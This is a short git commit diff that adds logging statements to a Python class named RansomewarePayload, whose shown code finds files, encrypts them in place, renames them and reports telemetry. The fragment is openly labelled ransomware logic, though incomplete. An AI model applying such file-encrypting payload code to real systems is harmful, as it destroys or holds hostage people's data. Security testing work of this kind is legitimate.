agent: Add logging to ransomware payload

This commit is contained in:
Mike Salvatore 2021-06-28 09:29:48 -04:00
parent 59efaabd50
commit 2ec020f276
1 changed files with 3 additions and 0 deletions

View File

@ -37,6 +37,7 @@ class RansomewarePayload:
self._telemetry_messenger = telemetry_messenger
def run_payload(self):
LOG.info("Running ransomware payload")
file_list = self._find_files()
self._encrypt_files(file_list)
@ -52,10 +53,12 @@ class RansomewarePayload:
results = []
for filepath in file_list:
try:
LOG.debug(f"Encrypting {filepath}")
self._encryptor.encrypt_file_in_place(filepath)
self._add_extension(filepath)
self._send_telemetry(filepath, "")
except Exception as ex:
LOG.warning(f"Error encrypting {filepath}: {ex}")
self._send_telemetry(filepath, str(ex))
return results